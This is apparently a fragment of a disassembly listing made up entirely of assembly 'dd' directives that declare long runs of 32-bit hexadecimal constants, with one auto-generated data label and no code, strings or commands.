dd 7E4E30A8h, 0AD0062A7h, 2BAF024Ch, 1E04F89Ah, 0C0D69546h
dd 0B74B0CC1h, 9F1D2489h, 2064BA26h, 0F23AC000h, 0E098B68Fh
dd 8039489Dh, 9EC2310h, 49A81C3Eh, 64724458h, 0C789CC00h
dd 0EA076251h, 21302312h, 413EB44Fh, 9088ED32h, 732E66F0h
dd 3B41094Dh, 1C683DFEh, 8E013A84h, 8987A50Dh, 907861B7h
dd 0E1F56F80h, 0C506C3D5h, 0F4976B64h, 3D7F0B11h, 144E2418h
dd 26CE2300h, 1B321604h, 3FF7013Dh, 0BA53376Dh, 9A087C21h
dd 36059A8h, 22532A3Ah, 0A48B94Ch, 0F414A94Eh, 11253E0Bh
dd 40705F90h, 6C39C0ECh, 69FB6708h, 28648758h, 19001445h
dd 8B4E1F18h, 9983F83h, 382E8C14h, 0F0360C68h, 96244D12h
dd 0F6A1D820h, 0F9743FC1h, 18501B09h, 22AF5780h, 4E72339Bh
dd 80889C03h, 90286E23h, 1FB1FC2h, 0DB3BAFF3h, 9D333466h
dd 60498311h, 14ECC84Eh, 1577E6Ch, 970378E0h, 0E0079B1Bh
dd 4F7C2B55h, 0E702DCB0h, 67FA8E4Ah, 3980444Eh, 8F07613Dh
dd 20B537FFh, 933495E5h, 0AC396499h, 682494B6h, 2987B806h
dd 69E10071h, 0BEA8E7E2h, 13004FBCh, 61B20C8Ah, 16604A75h
dd 0C749AE53h, 40E429C4h, 63A64600h, 0E0AA35F6h, 0EE430330h
dd 0BCE46F73h, 0C5200BB2h, 15BAA0h, 20BD9994h, 8CE203DFh
dd 0FD00AA70h, 0D4C64F0Eh, 131CEB92h, 13DD66A6h, 9628910Eh
dd 0CCB850F8h, 1904BBE0h, 48CF3389h, 650300B2h, 0A2E26172h
dd 9DC399C3h, 100163D3h, 8A6D8587h, 0CC40B89Bh, 588BBE88h
dd 59000CFDh, 6B6F110Fh, 0E904283Dh, 3A8A146Ch, 0CC8010A8h
dd 4745C3E7h, 0C000FF79h, 0AC64BBC1h, 0DA666Dh, 86EA7C41h
dd 10E6E0D3h, 1305D690h, 0C2C8A5F1h, 1C306685h, 9A6B16Ah
dd 0DE01A079h, 6793AC80h, 631FBEA5h, 624BE06Bh, 9554904Eh
dd 0AD9E0082h, 2EFDED19h, 6C008A12h, 0CCD9F6Bh, 7DA54E18h
dd 0B40934DDh, 0F9D4A058h, 875AA700h, 43C0E214h, 25700398h
dd 0AE51A668h, 0C8C2E5BAh, 2000E466h, 63FB6214h, 0C2C401h
dd 2BDF6CC7h, 6DB24657h, 8442300h, 1F9C4A8Dh, 51F03202h
dd 4F20EC40h, 186F599h, 0D86907B7h, 0CCC430D5h, 7CA080B4h
dd 3DE465D1h, 0CBC82148h, 30DC02B6h, 0C7A5200Ch, 0CE4D948Ah
dd 9D361FC8h, 0D134740h, 0BE66D5Ch, 4E79F05Dh, 599348C8h
dd 258A2607h, 0C6F067C0h, 0C53E0h, 0A6109605h, 0D047D1A4h
dd 248CA31Dh, 0F99CCC40h, 1D3903E0h, 4B63E88Eh, 3C00594Fh
dd 0BECAB46Fh, 0B2070804h, 0A9C08C89h, 90ABC1A7h, 5F4405E0h
dd 816E2FC3h, 0D1D46008h, 4442DFBh, 40318A2h, 0DB5800ABh
dd 0E63DB74Ch, 0E485CD2Eh, 38028A12h, 64349943h, 4564901Ch
dd 0A7F89FECh, 0A4CCE8D7h, 0F00703FCh, 7EB6D141h, 0FB74C7A0h
dd 69F96D09h, 117C194Bh, 2388C03Ch, 3DA6BB87h, 96884449h
dd 2C625264h, 30486C44h, 34870428h, 2CB24D20h, 35E3960Bh
dd 0B07EFC87h, 0ED0BA6BFh, 45BEE117h, 0E4B41488h, 0D0094DB9h
dd 189A3211h, 5749B642h, 0C7F10048h, 4DC909C5h, 7A076ACAh
dd 857C5F72h, 0E3DACE40h, 238C05C3h, 888F542Dh, 100246D4h
dd 75A5ADEBh, 9588B28h, 82CF004Fh, 0F0357DBEh, 1199624Eh
dd 9CE4428Fh, 5E93301h, 0A8AA0E2Dh, 73ECFF0h, 0E529506Eh
dd 239AD11Eh, 2DD429D3h, 6E842042h, 98F32EF9h, 29752988h
dd 551E3AA4h, 0A1CB828Dh, 8C54FCFEh, 0F350AE1Ch, 92C02858h
dd 10A5C275h, 1933BF0Eh, 848EEBCDh, 16C54FB4h, 0B6DC4404h
dd 0E2482C0h, 9EEE0059h, 2BFDC294h, 703E8306h, 693107F5h
dd 26A07D2Ah, 0E4A83C54h, 0EF73011Ch, 0FC3497E1h, 1070A781h
dd 0D1AEE8h, 7CC8CC07h, 70910159h, 194ACDB8h, 916E4088h
dd 830287A4h, 0B623A11Fh, 0BEB8F742h, 7EF88B2Eh, 0D2A1E200h
dd 9BFAF7ADh, 25800A04h, 40ECB450h, 97FF8C5Fh, 8E2D4005h
dd 0F8A43A22h, 0FE8009FDh, 4C89DCD3h, 3880E459h, 5F496278h
dd 90C800B9h, 0F18883FBh, 35160DE1h, 0C89F4DF8h, 6E183E03h
dd 88B469F8h, 0B0048784h, 3CC8309Fh, 4EC06480h, 382EED32h
dd 232586F4h, 4208251Ah, 240B4h, 870EA44Eh, 3AB41E99h
dd 6570FD02h, 0E01DEA36h, 5B7E6B96h, 8E004175h, 25A6275Ch
dd 3ECC119Ch, 8050786Ah, 21AF1A4Fh, 999B0FFCh, 0B6922536h
dd 18491C98h, 0DC9CB5C0h, 7CCC5A3Bh, 0E3EB000Ch, 3F644C0h
dd 3500EE75h, 86DC7F5h, 0A0D3AF29h, 14DE30C8h, 6C215048h
dd 0CC9C8B2Fh, 9D621300h, 5FD8B5A3h, 82B700A6h, 0B3FAF1E5h
dd 0DC0C8AC3h, 8E0DE5Ah, 0DC974CE3h, 56D8A963h, 7AA58EA8h
dd 0D96D861Eh, 5375AB05h, 8A4008B5h, 1E98DC04h, 40883651h
dd 0F7912FCFh, 7016F56Ah, 0B09042D9h, 0FB32BEh, 0E2D161B3h
dd 62058089h, 4FB90A08h, 0B43E8A98h, 78243A0h, 0DCB1F02Ch
dd 684314h, 39FC0C33h, 26B80BD2h, 0F21DA5Fh, 0A8E5573Bh
dd 416832BAh, 925F090h, 0C07FA900h, 0D77973Dh, 2EB900C7h
dd 0F90C07EAh, 9253BF71h, 9DCF009Ch, 0FC186722h, 704C5F66h
dd 0C7A669CCh, 0F6B1E601h, 0C5C9B348h, 0ED477A80h, 0B969BB54h
dd 65E0924Fh, 8ED800FDh, 0EFA0315h, 311D353Ah, 3C0306A7h
dd 0CC322469h, 0D50144CAh, 88E0301Dh, 0D0A82472h, 6888034Ah
dd 0D4FB5496h, 0BB3800BFh, 0C02E2AF6h, 0B5033332h, 84F8BEC7h
dd 7021BA98h, 50491260h, 0DF843025h, 50919327h, 835D3304h
dd 703DD200h, 2C004586h, 9050055Ch, 73A1CA8Ah, 3E58C2FAh
dd 0F0E97F1Fh, 3E983D96h, 476006Bh, 0E0CD7268h, 7A51024Dh
dd 0F1CEB465h, 0F385C377h, 8B7808D8h, 7191FAD7h, 55D2FD00h
dd 0A169EED6h, 1495B872h, 7E2F0090h, 0DF363DCCh, 1EEEC90Fh
dd 0E8B38202h, 0C51C23E3h, 909F40h, 5101C4C8h, 0D2009B3Ch
dd 0D39F03BAh, 75E450B0h, 3AB8DBh, 0A858C871h, 0EC213B0Dh
dd 400FE72h, 0F1AF473Eh, 2C5A7F0Fh, 0A415C8h, 13908459h
dd 3A483DFDh, 0D4DD0501h, 3CB2E203h, 0CE22CD00h, 15472AD7h
dd 271023Ch, 7EA9109Dh, 0A7BB601Bh, 80B09D50h, 2F2C41CCh
dd 163E24ACh, 88D14D79h, 96112726h, 0B4B850F7h, 8900B9E3h
dd 0CD706CA6h, 58485Fh, 0CE26E452h, 3BF68503h, 46933A01h
dd 0C9F8D79Fh, 3F22F86Ch, 0F770FF00h, 0A622DCF4h, 0DBEF0579h
dd 0C06D8F60h, 0FE7BB2ABh, 1AEBE203h, 58A6A227h, 2D0860B0h
dd 42128DD3h, 0A46ED490h, 3BCFFEDFh, 610097A5h, 8B3AF0F7h
dd 0AD27E4FDh, 86A422D4h, 6BE1203Bh, 14BE4E5Dh, 79151A80h
dd 438A14Ch, 0BF2FE06Eh, 32509323h, 0A0E482F2h, 4B98A144h
dd 0A4CCCC36h, 0E081884Ah, 4F2A7BBEh, 0C8008904h, 0CA8B3826h
dd 0EEE790Bh, 13E025B0h, 85A034E4h, 0D399DB80h, 14407B6h
dd 0E8809890h, 0F0124F43h, 277E1BBDh, 198CE453h, 0C998EC9h
dd 27151C0Ch, 3E14CFB2h, 8B40F9h, 0C75D010Ch, 283FC36Bh
dd 27A58702h, 0F0750D1Fh
dword_53F858 dd 88D90E4Ch, 31856577h, 7BE0820Ah, 7097C56h, 851CA034h
dd 7D8253D6h, 7DAA7AB5h, 0BC8F50C5h, 1A1E42CCh, 5A39E8E7h
dd 1190A4h, 0A267E208h, 3865F882h, 6A724D13h, 8DE02401h
dd 8607FA26h, 20A6D1C4h, 50F4C81Dh, 0A01B38C0h, 56DA60h
dd 4020379Fh, 0E8F0147Bh, 0E10DDDE6h, 0D09A17ADh, 216C6C42h
dd 713225C9h, 428442Bh, 4089F9E0h, 92047285h, 0AF162B6Ch
dd 84A10A8h, 42521B1Ah, 0E32FBE9Bh, 0C13FB7E0h, 0F8549988h
dd 80C863C6h, 810ACBF8h, 0BBD060B7h, 3D3065E3h, 666D009Ch
dd 0A630A031h, 7F9F65Bh, 2358FA7h, 0CEC36007h, 7A26F893h
dd 0FC00DEFBh, 2D03B65Bh, 5EE26h, 9A4D4F57h, 0D6AF736Bh
dd 45C25500h, 0A5717BC9h, 0E1031658h, 0A4F05DCh, 6B8C0867h
dd 2EAD562h, 647E203Eh, 22C8904Fh, 58E7B61h, 0E16420h
dd 44CF2027h, 56246DC0h, 0A66F5E00h, 315F89E3h, 7AB70EC1h
dd 11C403DFh, 0AB80EF7Bh, 3A3E8D4Bh, 905379CCh, 5F2EC722h
dd 5540DC53h, 7303EA0Fh, 0E52001Fh, 0B0726CCCh, 2AB8EC0Ch
dd 956A8D03h, 0F0BE5751h, 5B49FA5h, 9B3A2330h, 0A778CCB1h
dd 6E0205F0h, 0BD19DFD0h, 7CCDE1C2h, 62CEFCF0h, 0FE68087Bh
dd 4C0F5C41h, 89C0088Ch, 0F330B3CCh, 58986EA7h, 0F9DE3E71h
dd 0B9F61203h, 142A8BCh, 80EA8131h, 3F1C3DD0h, 304F0C22h
dd 24A36CBEh, 2C716AC0h, 40512726h, 0EC50C684h, 4A800D48h
dd 11EE1F34h, 60A89C52h, 233F3013h, 0F6776A00h, 0C21998D6h
dd 1B060248h, 7E6FF453h, 0D509A0F9h, 0BBA08463h, 67895F40h
dd 26009B5Bh, 2444A35h, 14C4F00Dh, 0D07F1D79h, 86895849h
dd 2B576002h, 94889060h, 6618219Fh, 1E02A9Eh, 633800FDh
dd 0ABDEC83h, 8612B934h, 94CCF440h, 3E961DAFh, 0CCA2C0E7h
dd 0BB70EC6h, 8C054003h, 0C2E5F750h, 4CB45E61h, 414CE00Ah
dd 0B1D084FCh, 0B92AA480h, 0EAF30055h, 2963B888h, 0FC54D325h
dd 74A343C4h, 578BF7C8h, 42073200h, 0BE5B231h, 0A6672490h
dd 0C81B1088h, 99592D7h, 483D328h, 8CAD23B1h, 6788BCF4h
dd 289C005Ch, 0F4E98E6h, 0E73B159Eh, 7584811Fh, 0FBDD6EBDh
dd 1300407Dh, 0AC27A355h, 51EC1AB0h, 44687F00h, 45A87DBh
dd 2AD42491h, 0CCFF1044h, 27E191C0h, 4CE80C97h, 6A09FE6Ch
dd 2DD1794h, 299B6B50h, 80197410h, 0D1C3B207h, 0E2E02808h
dd 0A0F7B4h, 4CCB8D1Eh, 0A967EC99h, 0FB435C91h, 0F01100A0h
dd 8B2E5C51h, 0B6E4E12Fh, 0F8A44C91h, 23184C28h, 9831A2BEh
dd 0D250A038h, 3B98C4E3h, 1AD4E06Ah, 0F998A444h, 9D8A1448h
dd 1AFC0C80h, 28003DD3h, 7293A589h, 33C8381h, 1C570F05h
dd 0C3C027D1h, 60FEE29h, 800E3A97h, 7769B42Dh, 64D905AEh
dd 0B29FBE24h, 852E04D8h, 10C0E4B4h, 167231C4h, 8B20FBAh
dd 10A5F1E8h, 3D70C8h, 0A26B7BD8h, 0B02DE169h, 0CC22A40Fh
dd 56A942EEh, 0B2C44028h, 0B4B78010h, 20A04DF5h, 0F09CFBB2h
dd 0A64B6181h, 0F0C75B86h, 0F7F1B7F0h, 4C2F3820h, 18B2C09Bh
dd 0AE0C8719h, 0C2138D43h, 26308198h, 0D8C114BAh, 0D4C0E003h
dd 21195E3Dh, 238BB650h, 0DE7905A4h, 508389E0h, 1521DC19h
dd 4496020Ch, 0BDF4E8h, 0ECC67321h, 8D4348DFh, 9111E104h
dd 0A4F89D1Eh, 26B4A280h, 2F0560D3h, 51F64E27h, 0A7309090h
dd 0C08C948Eh, 0ACB5861Bh, 0F89A4E0Fh, 5830F250h, 7F4E9EAh
dd 0B1CA32C8h, 0B83C80B4h, 0D900AF1Bh, 2BA5F611h, 271A504Fh
dd 1082DCB7h, 0E4503161h, 3047F302h, 74272469h, 223447FCh
dd 98899FD9h, 80EAA8F8h, 0B4204A81h, 0FC22F5B7h, 0C4C43096h
dd 340095B7h, 4F05CEFAh, 7AB0E061h, 8575025Eh, 0E6261F31h
dd 0B8E99604h, 2280C838h, 2B53E289h, 20F44F88h, 1D2D5D01h
dd 3201F006h, 15D89BD5h, 0F3D216A8h, 74001B0h, 0EE56272Eh
dd 985430E6h, 3371E7FCh, 0B0120514h, 0AF487C64h, 5D23810h
dd 2823A352h, 0F040F0A2h, 108D42C9h, 985B0B65h, 3C0A327Ch
dd 90A4C67Bh, 1D806427h, 0BF7627C7h, 0B0326294h, 246A38C3h
dd 698EC8C9h, 87600498h, 7CB9957Ch, 6580A53Fh, 0A12F3328h
dd 170096BAh, 9AE0527Ah, 277F82CBh, 782041E3h, 5F58CEC7h
dd 0A6B75450h, 0A12A1701h, 756BF7BEh, 99C810EBh, 0ACC848Eh
dd 0C9424E48h, 0FC3A0231h, 5594E82Bh, 0D92D00BAh, 4775CBB2h
dd 0EC09C32Fh, 1CF61507h, 1C99DCh, 85455203h, 7C0F4E36h
dd 20555BF6h, 8D976123h, 75A26A9h, 0E1321E88h, 44821808h
dd 3BE741E9h, 847C5A7Bh, 0B022B058h, 8F4068B6h, 24151766h
dd 22B1CE0h, 785AF57Bh, 0D002844h, 0DF84D067h, 0A151A22Fh
dd 0FD120F38h, 0C4B64860h, 5CF182h, 7AF4EC4Dh, 0CC1807D8h
dd 0C531C64Ah, 9624180Fh, 0CD7529EDh, 53B28E1Eh, 0C069A880h
dd 91B3ADE3h, 84F1908Ch, 400802Dh, 15E4FA0Ch, 0CA36BCA0h
dd 7432BE41h, 0BFE26B00h, 881B2A29h, 4CF00F00h, 0FE09ADD1h
dd 0B7160223h, 73932574h, 8E12BC7Ah, 8888AB3Bh, 0C36900E8h
dd 392B7BC1h, 961C6FFEh, 27E659A5h, 0D1521C01h, 1020E1BBh
dd 0F34286A1h, 0B16C11h, 45EE24E1h, 198200Eh, 3A89E3C8h
dd 8FCB567Bh, 2C0E1B8h, 6621504Dh, 0E021B59Ch, 0D1E631DDh
dd 0A466DEBBh, 3DE3710Bh, 53A499B4h, 53A3840h, 0E93E005Dh
dd 9BBAEE21h, 34BA6917h, 1A998721h, 30E031A2h, 9C003517h
dd 0E226D2B1h, 5FE460Fh, 7EA653DDh, 2B943075h, 843B8B80h
dd 4A1C06FDh, 9838365Ah, 771F1014h, 4CF457EDh, 886E217Ch
dd 0BE918DD6h, 1FD83700h, 76FDAE3Dh, 23D55C00h, 8A17DA4h
dd 0DC292D85h, 0FAC22C82h, 82130E01h, 806CA305h, 4B5D4CF1h
dd 0CB4703E9h, 8BDAD598h, 4FEEB8C0h, 29F4E204h, 4CA773A9h
dd 0DE00BA22h, 3DD6E5E1h, 44E301Dh, 0A5DF055h, 0CA8481BAh
dd 880E0850h, 210A42D2h, 0E8DBCC6Bh, 8190110Bh, 9B4D7BE0h
dd 9F24087Eh, 2FF92A81h, 0B6ED80B8h, 4C66AAECh, 3417C4F4h
dd 0C97890C8h, 0A25331C3h, 8EC5109Ch, 97C3324h, 38B9F9E6h
dd 0BB7B30E8h, 23DA9E00h, 6424104Ah, 5F970017h, 0D3F819ACh
dd 8A09E1F3h, 0FAFBE285h, 59B61748h, 1A00BA93h, 79AA70A6h
dd 757601D2h, 2E4E9F29h, 3B202465h, 92109B42h, 6A3E12EBh
dd 54964892h, 0DD3D8068h, 0C7D070DFh, 2D7AB802h, 81917252h
dd 0FC2C67E4h, 0EC7A3502h, 0DC904D5Ah, 1E5513EEh, 40ECDEDAh
dd 5A7C73A0h, 2729AA6Fh, 302D880h, 0F63497E2h, 0DE8C42C4h
dd 4F65C40h, 0C8A64114h, 916A21A0h, 27980AA7h, 23253CF9h
dd 0B09F96F8h, 2D9D3C1Ah, 0E2E06BCBh, 24501CC8h, 645802B8h
dd 3EA00F80h, 60E93AFDh, 5065504Ch, 0B695244Eh, 1C0670B4h
dd 0C179CC16h, 0AEF8C31h, 54764512h, 0E020FC97h, 77079h
dd 9BAE1E05h, 0DC15721Fh, 0A374195Ch, 0C8CA4FDh, 95A540EAh
dd 0ABCD901Ch, 0A088DAh, 0B2A0A330h, 2C5EE0BEh, 0EDD979h
dd 0DA953845h, 0D7132EDCh, 1437A7ADh, 6A1048A9h, 11D4B920h
dd 0A96E2422h, 2300AD20h, 994A53D8h, 177C401Fh, 4125CC8h
dd 0B9BB4798h, 666D2D44h, 7E40254h, 0FF355ADAh, 60621CE0h
dd 8482549Ch, 0D9036C08h, 88B92E0h, 93626EC0h, 0C0085483h
dd 5D86E026h, 9B1DE6F4h, 7DC2B2A2h, 740BBE24h, 0E464088h
dd 0C4BC1679h, 52AC8240h, 0C9280A01h, 5AB4A58Fh, 0F041DD0Dh
dd 730605A3h, 0EFBAA1Fh, 3F1B0059h, 0CA7AE521h, 32032DD1h
dd 262473C7h, 0FF9FE851h
dd 10C00A3Bh, 88C6CD3h, 5CAAB257h, 0A6714700h, 147436AAh
dd 0DA900A3h, 7BABB002h, 510095E2h, 6B9A014Eh, 1ED496Fh
dd 970D8021h, 7EA3BE89h, 0F4168853h, 0BC8030B2h, 245A3D8Eh
dd 33CDCA00h, 0C66469ECh, 0ADE212F9h, 0DBF8C84Fh, 982DFC89h
dd 0B1F0AC00h, 468D5514h, 0D4018212h, 0D62BE402h, 240E02FAh
dd 0ACA8E812h, 5E0514C2h, 0F10192B4h, 858840BEh, 0D3C06848h
dd 94485C8Ah, 0C3C05FCFh, 0C8E986Fh, 534E0CB8h, 2F3E9428h
dd 10BBBB17h, 8F0771C8h, 49CB7D00h, 0E36E246Fh, 608B39BEh
dd 0C612C058h, 0D1944597h, 1278CD47h, 24DEA1A8h, 11B12242h
dd 9C02097Ah, 6E1C195Bh, 0C497CC49h, 8DE22730h, 0ECB2D810h
dd 37513400h, 0A952C3BDh, 89F30211h, 9B593332h, 68F0145Ah
dd 0B61B2388h, 0BCC85AFCh, 50901C72h, 88E2B700h, 0AA38FCA2h
dd 214601EFh, 0EB4F04BEh, 8EF0E39Bh, 0D45C70CEh, 0C007774h
dd 50A7765Dh, 0A041E122h, 0BC4F950h, 7C3A4072h, 69C5FD80h
dd 6C5F8A4Ch, 780088h, 87BD21AFh, 0AB6BDD92h, 80D72F03h
dd 0A05B9F28h, 7B716EBFh, 0D47A48E0h, 2D68B5CAh, 0E72B8CC4h
dd 0F11F7C33h, 122C1925h, 25245F00h, 43963096h, 0FF3A6C90h
dd 0ABF0382h, 11FE4002h, 67D57EF0h, 0F090A62Eh, 0C0302F51h
dd 227F4255h, 6820E5DDh, 0FC29204Bh, 0F02722h, 6C89E0D2h
dd 74D57AAh, 69E1A700h, 0A25DE80h, 9F0E0573h, 0CC78BE96h
dd 394B97F8h, 2B4FF4D1h, 612AC86Ch, 4CF0453Ch, 0EAF6B2D0h
dd 92A8F800h, 6529A39Dh, 51EC139Bh, 0A70D006h, 9875BF5Ah
dd 26EBF909h, 0BAF88409h, 4C487858h, 936A853Fh, 0A83984ADh
dd 18E0206Bh, 2A0A5FF8h, 0D845213Eh, 1052213Bh, 0A2D38481h
dd 0F7319844h, 447710B0h, 0A5227058h, 6B83D800h, 7262FD39h
dd 0CFDE1F6Ah, 0EF6401Bh, 0F4250757h, 0C2E3A806h, 5C68E58Dh
dd 0E80F7C36h, 0B52A6B2h, 0F09AC104h, 0F750F054h, 0AF350FDCh
dd 0FC0A629h, 0E073BECDh, 0D8D7BB0Ah, 5910F403h, 0FBC2D1C8h
dd 4BC60B9h, 0E43D58FEh, 3064D8C4h, 0D0C124h, 0B975AB41h
dd 67B05DE7h, 10F3F902h, 0A46579C5h, 0B845F530h, 2ACB287h
dd 18B6959h, 0B7F868BCh, 609882B1h, 0DCE01F25h, 0A51D4138h
dd 13041685h, 0E7BC253Eh, 2E7000Ch, 6B85A19Ch, 0C94508Bh
dd 301D022Eh, 0AD82E249h, 0C713C41h, 0F50B4469h, 5008A088h
dd 71E19B36h, 953E0003h, 0EE30DAA6h, 33E48A0Ch, 0C1E61F12h
dd 4F275CBCh, 388484CAh, 3C74880Eh, 7E1FA9F2h, 642DE3AFh
dd 7D1E1750h, 53DC3044h, 95508B84h, 5E020358h, 1BAA0F45h
dd 0B46444h, 49384D56h, 0D2ABFCB3h, 7433BE12h, 8DFDA444h
dd 0ECB1D722h, 5E0C7853h, 39ECCC8h, 309D174Bh, 80E109A1h
dd 0F45DECCAh, 0E088BA00h, 2DD93229h, 2F1000Bh, 62F9F724h
dd 0A5000F71h, 765E03Bh, 997BADD6h, 923190F4h, 898F30ACh
dd 0D3E775C0h, 0DA00DBF7h, 0EFE36C05h, 0FA65E41h, 0E5B85C23h
dd 3D6B6E40h, 109D7670h, 0EE4148h, 18A0B540h, 597C3CDCh
dd 90DA302h, 49672762h, 0D02D93B4h, 1020F82Dh, 2902FF38h
dd 0F1AB1300h, 2EBB5941h, 448B1C31h, 0C0569F0Bh, 6DD394D0h
dd 0B9C53224h, 0A0A8C181h, 244E1049h, 0A01086B0h, 0B020265Ch
dd 0BAD602h, 0C36CED27h, 0D01B9168h, 56056BFAh, 17AA509Dh
dd 0A686D044h, 191214EDh, 0E0B60Bh, 9287A66h, 69D725h
dd 7826DF07h, 38918A1Fh, 2DC7CF38h, 384429h, 0EA2A0C7Ah
dd 0FB9825A0h, 2497F4A0h, 0B5339980h, 7AD2A820h, 4C260B75h
dd 0FE405811h, 4BD96CDh, 0AAB6C15Fh, 8CE4D567h, 0D1129838h
dd 34E5193Dh, 0D688306Fh, 9900A93Ah, 0E96B2A13h, 3DDBAD3Bh
dd 4F8FC4CDh, 0F0F9CB42h, 224823F5h, 2B8640C0h, 5C002947h
dd 560D73CCh, 3E4C12A5h, 0AA9C01E4h, 72A9FD9Ah, 9885B439h
dd 849C25FFh, 0CC49804h, 4F2FDF88h, 6BCC21FEh, 6A884883h
dd 0DDC1E401h, 0FBA584B3h, 0C6002472h, 9D463B55h, 8307E482h
dd 40330D5Fh, 0C434C8DDh, 0CA8044A7h, 6A4A1B09h, 2CF4C437h
dd 0E0600B6Dh, 7EAA3D8Fh, 10EA4200h, 0E24DDDDBh, 31D40259h
dd 51F2DA1Fh, 3E8054D9h, 1CDCD7EAh, 1293D7Eh, 4CE70580h
dd 9DFE9E60h, 8C191A04h, 0ECA486BEh, 8700B4F9h, 0F12EADBFh
dd 0C0A96A15h, 0DD12A450h, 54A8CFE3h, 82FAA18h, 872CBE88h
dd 9C68CCA7h, 0B28BD860h, 176C9C4Ch, 3CE42D1Fh, 6C318038h
dd 52ABFDDCh, 86889432h, 12042389h, 0F9DC04CCh, 8AC4A825h
dd 0FA50A41Ch, 28309D0Ah, 0DE0037E3h, 0B1A3C245h, 0DDFF67h
dd 3A0BA28Eh, 579BA5EBh, 0F0B6F52Ah, 62387F00h, 795D4899h
dd 373027B4h, 0E020C88Dh, 312FD977h, 7CC40A4Eh, 0FBDE7861h
dd 97091C3Dh, 0B880ECE6h, 917E3B85h, 2A7263Eh, 2FE10BE3h
dd 440CE656h, 0D0B849BCh, 4EC32A22h, 15C904Eh, 0A300F16Ah
dd 3B27797Eh, 0DFFB86h, 9C4BD0CAh, 0E46B130Ch, 0CC8E9409h
dd 5BBC444Ah, 19348C0Fh, 2D5C4D0Bh, 25C9FE74h, 2ED92C11h
dd 2BCB838h, 5889B46Ah, 8C41C67Ah, 0E55C520Ah, 8006FD22h
dd 0ADC4B47Ch, 8F82000Fh, 74C2CA6Ah, 2F1937ECh, 0B2E05A9Dh
dd 0B758003Ah, 4EA8BB5h, 31323F00h, 216E45E6h, 419700F5h
dd 0F39D4C6Ah, 0D12FCA0h, 3C09D1FFh, 72241235h, 1EDA00B4h
dd 0DF0B48BBh, 9000BCBEh, 0FCF82677h, 4C7C69C7h, 0F92128CCh
dd 90C0188h, 407A535Fh, 6ECF3A0Eh, 47F84115h, 0DADCFFEAh
dd 6AECE0h, 7D518B1Eh, 727A8FE9h, 0AABDE10Bh, 0F887A40h
dd 31ED4C30h, 0C1B29BC0h, 0A02E524Eh, 0E3845089h, 0BE08FC2Dh
dd 0DB700C80h, 742EABCh, 32AF82D4h, 74C8018h, 3300F839h
dd 1A7C61B9h, 69C2C6h, 0D4E1EA72h, 605C458Ch, 6D8EC409h
dd 90C10BEBh, 0E73E10h, 0B08BA2D4h, 732DAAFh, 0A1D10402h
dd 0D90579C4h, 0B32512A8h, 0B02717FCh, 80B2A048h, 508E8C3Bh
dd 70B4ABC7h, 79CC3240h, 0F224A811h, 1CF9820Ah, 14FF2A1Dh
dd 10F49C92h, 8216E662h, 0E01028A9h, 0E443C009h, 0C8F13Fh
dd 3EE36988h, 88A0951Dh, 560790A9h, 45AF2A91h, 64889424h
dd 9F6E001Eh, 58C6C4DDh, 0E30BD208h, 440231C3h, 31F74F4Ch
dd 1EC4AE0h, 382F173Eh, 8D44AE88h, 4B425BEFh, 588484B4h
dd 83FC806Bh, 941E7445h, 89C0D4A6h, 1F51F3BAh, 74A097DCh
dd 853903D9h, 2C48A45Ch, 440910E7h, 4C44D09Bh, 5180EC94h
dd 26B8AFF0h, 5A01D57Ah, 15973CD7h, 83E23DD3h, 4A65F44h
dd 98993BD9h, 8ECB04B1h, 273A121Eh, 0F41CC4F4h, 6C018B98h
dd 0C7ADD2FEh, 92035BBh, 37B8014Dh, 8AE4F380h, 4058A56Dh
dd 20E84218h, 1A20F8AFh, 0C8B75F0Bh, 0CE00B174h, 0CFC6D954h
dd 0B0ED8E18h, 0C9BD285Ch, 3FC50AB4h, 4080FEAEh, 0B05D0D46h
dd 908D0925h, 3FC7922Ch, 2700D775h, 13215A8Bh, 930919E8h
dd 0C6820191h, 18620384h, 0A2F6D54Bh, 25BF9200h, 6BB4B66Ah
dd 4AC40765h, 0D0A1CE02h, 80DDBAC1h, 0BB449095h, 10D7C3Ch
dd 0AF24928Ch, 81544DA5h, 31C498F9h, 1024CFAEh, 95017C2Dh
dd 0A800A86Ch, 0E92CDA68h, 4454D0h, 2D49D779h, 0ADE4527Bh
dd 0E022F75Ah, 581911D9h, 9C54FBD8h, 349145F8h, 0D0724000h
dd 15921BAh, 3AFF9C2Bh, 0F2B03D3Ch, 0E189CC7Ch, 54109041h
dd 4AFF0BA7h, 0CC00F570h, 5AE2962Dh, 49459201h, 0BE252846h
dd 4E2C81A8h, 0DF8C2115h, 0AE30DCFEh, 500F8802h, 7139995Bh
dd 32898330h, 45E7AFF2h
dd 236CD050h, 50D29B27h, 0E70024F3h, 72FB6233h, 15F66C4Ah
dd 4D17E01h, 8DED79C5h, 0B486408h, 0EA4CC180h, 0AC4C7587h
dd 13ED09A4h, 0C85EC57Dh, 38A48052h, 16216F7Bh, 0D0F50B67h
dd 0EEB94A28h, 0FE287200h, 0A87A46FDh, 0C6910039h, 0AFE58C0Ah
dd 0FB12D993h, 0B02594F4h, 0FC009CADh, 1DF8C7BBh, 0ECF0F064h
dd 0FD13B300h, 0B75DF945h, 0D53B0261h, 0CE2FE06Ch, 1020F4E6h
dd 0D31E0182h, 0AB72C3ADh, 98A020E8h, 2275544h, 0ED8C1AA3h
dd 0B440570Eh, 0AC90F78Dh, 289EB880h, 0E5B34D09h, 25FCD0F6h
dd 28655362h, 0E7A4253Eh, 322500B0h, 8DD41B75h, 398880BBh
dd 464258FAh, 0C0F84D6Fh, 5FE21BA8h, 9541E6E3h, 42014CAEh
dd 0F45D51CFh, 0A800B83Eh, 0DB5C0167h, 22A2DCEh, 657BBA7Fh
dd 5C5A3A0Fh, 0C2E22F00h, 0BE7EB53Ch, 0AC90B56Dh, 8B888E20h
dd 97CA25CFh, 0D2025C64h, 4E6E31C8h, 2C5070D7h, 40381951h
dd 0F656245Fh, 2E2C1097h, 2AF903BBh, 0DA36AC80h, 1FB476E8h
dd 9B8A5100h, 0DB78A59Ch, 2240C02Bh, 97E2A6B3h, 88C8304Fh
dd 906F2726h, 0A686A421h, 6C8A10E8h, 0FBA90034h, 21E3B9ECh
dd 0B12E7642h, 6A81E498h, 41DBA54Dh, 724417Fh, 0C87CEEF4h
dd 2600B430h, 0F8AA9C46h, 0CBF93Ch, 776D86AEh, 0FBB20D8Ah
dd 1155F8C9h, 286B1BA0h, 0B93C99BCh, 52C89FE6h, 4F8CB080h
dd 900EFED7h, 0CAE85FD0h, 8721ACh, 0CD9E89C9h, 45EC5FA5h
dd 8D4C5801h, 80EBA76Bh, 0DE4FB0E0h, 0CE768C11h, 325C2329h
